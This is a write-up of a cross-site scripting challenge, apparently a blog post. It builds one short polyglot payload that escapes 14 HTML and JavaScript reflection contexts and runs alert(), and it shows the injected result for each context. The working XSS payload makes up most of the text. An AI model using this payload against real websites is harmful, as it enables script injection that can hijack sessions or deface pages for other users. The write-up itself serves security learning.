Crafting the Shortest Polyglot to Trigger 14 Contexts
Can you create the shortest XSS vector that triggers in all contexts?
Overview
To start off, here is the challenge page with the official rules.
Next, I need count how many times does the input reflect onto the page.
There is a total of 14 places where the input gets reflected, all of which are in a different context.
TL;DR Solution
Here complete solution to trigger all 14 contexts.
"%0Ax=//`//</style></title></math></select></template></textarea><svg+x=*/%0Aonload=alert()//></svg>
To better understand the idea of this polyglot, I’ve made a viasual sketch.
However, if you’d like to see how all of this fits in detail, then follow along with this article!
Detailed Solution
Context #3: Double quotes string
- Code snippet
<script>
injection = "payload";
</script>
- Result from payload
<script>
injection = ""
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg>";
</script>
Context #2: Template string
- Code snippet
<script>
injection = `payload`;
</script>
- Result from payload
<script>
injection = `"
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg>`;
</script>
Context #3: Single-line comment
- Code snippet
<script>
// payload
</script>
- Result from payload
<script>
// "
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg>
</script>
Context #4: Multi-line comment
- Code snippet
<script>
/* payload */
</script>
- Result from payload
<script>
/* "
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg> */
</script>
Context #5: HTML Stylesheet
- Code snippet
<style>
payload</style>
- Result from payload
<style>
"
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg></style>
Context #6: HTML Title
- Code snippet
<title>2021's vector to rule them all - payload</title></head>
- Result from payload
<title>2021's vector to rule them all - "
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg></title></head>
Context #7: HTML Main Element
- Code snippet
<main> payload
<select>
- Result from payload
<main> "
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg>
<select>
Context #8: HTML Select Element
- Code snippet
<select><option>payload</option></select>
- Result from payload
<select><option>"
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg></option></select>
Context #9: HTML Textarea
- Code snippet
<textarea>payload</textarea>
- Result from payload
<textarea>"
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg></textarea>
Context #10: HTML Image
- Code snippet
<img src="payload" alt="" />
- Result from payload
<img src=""
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg>" alt="" />
Context #11: HTML Template
- Code snippet
<template>payload</template>
- Result from payload
<template>"
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg></template>
Context #12: HTML SVG
- Code snippet
<svg>payload</svg>
- Result from payload
<svg>"
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg></svg>
Context #13: HTML Math Element
- Code snippet
<math>payload</math>
- Result from payload
<math>"
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg></math>
Context #14: HTML iFrame
- Code snippet
<iframe data-injection="payload" src="data:text/html,<h1>Ignore me"></iframe>
- Result from payload
<iframe data-injection=""
x=//`//</style></title></math></select></template></textarea><svg x=*/
onload=alert()//></svg>" src="data:text/html,<h1>Ignore me"></iframe>
</main>
This is it. It took me a bunch of hours to solve this challenge, but it was worth it. It gave me a great introduction to polyglots.
Thanks for reading.